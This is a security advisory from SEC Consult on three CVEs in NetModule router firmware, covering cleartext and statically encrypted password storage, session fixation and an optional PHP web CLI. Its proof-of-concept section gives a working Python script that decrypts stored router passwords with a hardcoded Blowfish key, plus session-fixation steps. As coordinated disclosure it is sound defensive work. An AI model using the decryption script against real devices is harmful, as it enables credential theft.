SEC Consult Vulnerability Lab Security Advisory < 20210820-0 >
=======================================================================
title: Multiple Vulnerabilities in NetModule Router Software
product: NetModule Router Software (NRSW)
vulnerable version: Before 4.3.0.113, 4.4.0.111, 4.5.0.105
fixed version: 4.3.0.113, 4.4.0.111, 4.5.0.105
CVE number: CVE-2021-39289, CVE-2021-39290, CVE-2021-39291
impact: High
homepage: https://www.netmodule.com/en/
found: 2021-05-05
by: SEC Consult Vulnerability Lab
These vulnerabilities were discovered during the research
cooperation initiative "OT Cyber Security Lab" between
Verbund AG and SEC Consult Group.
Gerhard Hechenberger (Office Vienna)
Steffen Robertz (Office Vienna)
An integrated part of SEC Consult, an Atos company
Europe | Asia | North America
https://www.sec-consult.com
=======================================================================
Vendor description:
-------------------
"NetModule is a leading manufacturer of communication products for M2M and IoT.
One focus is on our solutions for applications in the fields of shipping, local
and long-distance public transit, and Industrial Internet. Future markets such
as Smart City, public safety, and sustainable energy and resource management
are further focus areas. The key technology here is 5G.
Our devices are certified and include the latest wireless technologies along
with multiple interfaces for applications where robust communication is
essential, such as information systems, driver communication, passenger WiFi,
remote maintenance, condition monitoring, and real-time data exchange."
Source: https://www.netmodule.com/en/about-netmodule/portrait
"Our Linux-based router software ensures reliable data connections with a wide
range of network functions and smart link management – stationary and mobile.
Configuration and update options for secure operation throughout the product
life cycle and over-the-air complete the package. As a special service, we
offer you free updates and support."
"The NetModule router software (NRSW) is our standard software and runs on all
our devices. This has the advantage of being able to use identical
configuration processes and functions for every router (unless technical
restrictions dictate otherwise). It is based on proven components such as
Embedded Linux and a powerful communication protocol suite."
Source: https://www.netmodule.com/en/products/software-overview/router-software
Business recommendation:
------------------------
The vendor provides patches, which should be installed immediately.
SEC Consult recommends to perform a thorough security review of these
products conducted by security professionals to identify and resolve potential
further security issues.
We want to thank NetModule for the very professional response and great
cooperation.
Vulnerability overview/description:
-----------------------------------
1) Insecure Password Handling (CVE-2021-39289)
The device is storing passwords in an insecure way. For some of them, e.g.,
user accounts, password storage is an optional feature. For others, e.g., the
certificate password, configuration possibilities do not exist.
* Storing and sending passwords as cleartext
* Storing passwords symmetrically encrypted with a static key
2) Limited Session Fixation via Cookie (CVE-2021-39290)
An arbitrary session token cookie value can be used on the web interface. If
a session token with an arbitrary value is available, the device does not
create a new one during the login process. Also, after the logout, no new
session token will be issued. An attacker which is able to create cookies on
the victim's client (via potential HTTP Response Splitting, Malware, physical
access, ...) can use this to take over the session of the victim.
3) Insecure Feature (Web CLI) (CVE-2021-39291)
The interface supports an optional "CLI-PHP" feature, which is essentially a
PHP webshell. Authentication is needed and the credentials can be sent
as GET parameters. As GET parameters are part of the URL and URLs are
frequently stored, this may enable attackers with access to such logs to take
over the used account.
Proof of concept:
-----------------
1) Insecure Password Handling (CVE-2021-39289)
* Storing and sending passwords as cleartext
The certificate settings are located at
SYSTEM -> Keys & Certificates -> Configuration. When visiting the following
URL, the certificate password will be included in cleartext in the response:
http://<IP-address>/admin/certificates.php?action=configure
Find the response below:
-------------------------------------------------------------------------------
HTTP/1.1 200 OK
X-Powered-By: PHP/5.6.31
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-type: text/html; charset=ISO-8859-1
Connection: close
Date: Mon, 26 Apr 2021 07:20:26 GMT
Server: lighttpd/1.4.39
Content-Length: 25448
[...]
<td class="c2_left">Passphrase:</td>
<td class="c2_right">
<input type="password" id="phrase" name="phrase" size=20 value="password12"
>
</td>
[...]
-------------------------------------------------------------------------------
Additionally, the password is stored in cleartext in the file
/etc/default/cert-settings on the device, the line reads:
PHRASE="password12"
* Storing passwords symmetrically encrypted with a static key
The passwords are stored in the configuration file on the device, which can
also be downloaded at SYSTEM -> File Configuration -> Download. The downloaded
ZIP file will contain a *.cfg file, which includes several encrypted passwords
(the values are prefixed with "[enc]", e.g.:
cer.settings.phrase=[enc]UauZghllTu7Jy7pF3mdkFA==
wwan.0.password=[enc]UauZghllTu7Jy7pF3mdkFA==
user.0.password=[enc]UauZghllTu7Jy7pF3mdkFA==
The used encryption is Blowfish CBC with a static key and initialization
vector, therefore, the passwords can easily be decrypted. This can be done with
the following script:
-------------------------------------------------------------------------------
#!/usr/bin/env python3
import sys
import base64
from Crypto.Cipher import Blowfish
data_b64 = sys.argv[1]
key = b"\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f"
iv = b"\x00\x00\x00\x00\x00\x00\x00\x00"
cipher = Blowfish.new(key, Blowfish.MODE_CBC, iv)
data_enc = base64.b64decode(data_b64)
data_pad = cipher.decrypt(data_enc)
num_pad = int(data_pad[-1])
data = data_pad[:-num_pad]
print(data)
-------------------------------------------------------------------------------
The value in the configuration file can be decrypted as follows:
-------------------------------------------------------------------------------
$ ./netmodule_config_decrypt.py UauZghllTu7Jy7pF3mdkFA==
b'password12'
-------------------------------------------------------------------------------
2) Limited Session Fixation via Cookie (CVE-2021-39290)
The session token is stored as cookie named "PHPSESSID". To show the issue,
execute the following steps:
* Set the "PHPSESSID" cookie in scope of the web interface to an arbitrary
value while logged out.
* Log in. Observe that the cookie remains unchanged.
* Log out. Observe that the cookie remains unchanged.
3) Insecure Feature (Web CLI) (CVE-2021-39291)
The Web CLI can be enabled at SERVICES -> Web Server -> Enable CLI-PHP.
It is available and can be used at the following URL:
http://<IP-address>/cli.php?command=status&usr=admin&pwd=password12
Vulnerable / tested versions:
-----------------------------
The following firmware/device has been tested:
* NetModule NB1600: Firmware version 4.3.0.110 LTS
According to the vendor, the following models with firmware versions before
4.3.0.113, 4.4.0.111 and 4.5.0.105 are affected:
* NB800
* NB1600
* NB1601
* NB1800
* NB1810
* NB2700
* NB2710
* NB2800
* NB2810
* NB3700
* NB3701
* NB3710
* NB3711
* NB3720
* NB3800
Vendor contact timeline:
------------------------
2021-05-25: Contacting vendor through support@netmodule.com, asking
for security contact information. Set release date to
2021-07-14. Received vendor response concerning further steps.
2021-05-26: Advisory was transmitted to head of PM and acknowledged.
2021-06-16: In a call, the vendor acknowledges the findings and ensures to
keep us updated on the upcoming release of a fixed firmware
version.
2021-07-23: The vendor provides information on the release of a fixed
firmware version on 2021-07-04.
2021-08-10: The vendor was notified about the pending release.
2021-08-19: The vendor provides information on all supported and fixed
major releases.
2021-08-20: Coordinated release of security advisory.
Solution:
---------
Update the affected devices to software version 4.3.0.113, 4.4.0.111 or
4.5.0.105. Additionally, do not use insecure features and pay close attention
to warning messages during the configuration.
For more information see vendor's release notes:
https://share.netmodule.com/public/system-software/4.3/4.3.0.113/NRSW-RN-4.3.0.113.pdf
https://share.netmodule.com/public/system-software/4.4/4.4.0.111/NRSW-RN-4.4.0.111.pdf
https://share.netmodule.com/public/system-software/4.5/4.5.0.105/NRSW-RN-4.5.0.105.pdf
Workaround:
-----------
None.
Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
SEC Consult Vulnerability Lab
SEC Consult, an Atos company
Europe | Asia | North America
About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Interested to work with the experts of SEC Consult?
Send us your application https://sec-consult.com/career/
Interested in improving your cyber security with the experts of SEC Consult?
Contact our local offices https://sec-consult.com/contact/
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Mail: research at sec-consult dot com
Web: https://www.sec-consult.com
Blog: http://blog.sec-consult.com
Twitter: https://twitter.com/sec_consult
EOF Gerhard Hechenberger, Steffen Robertz / @2021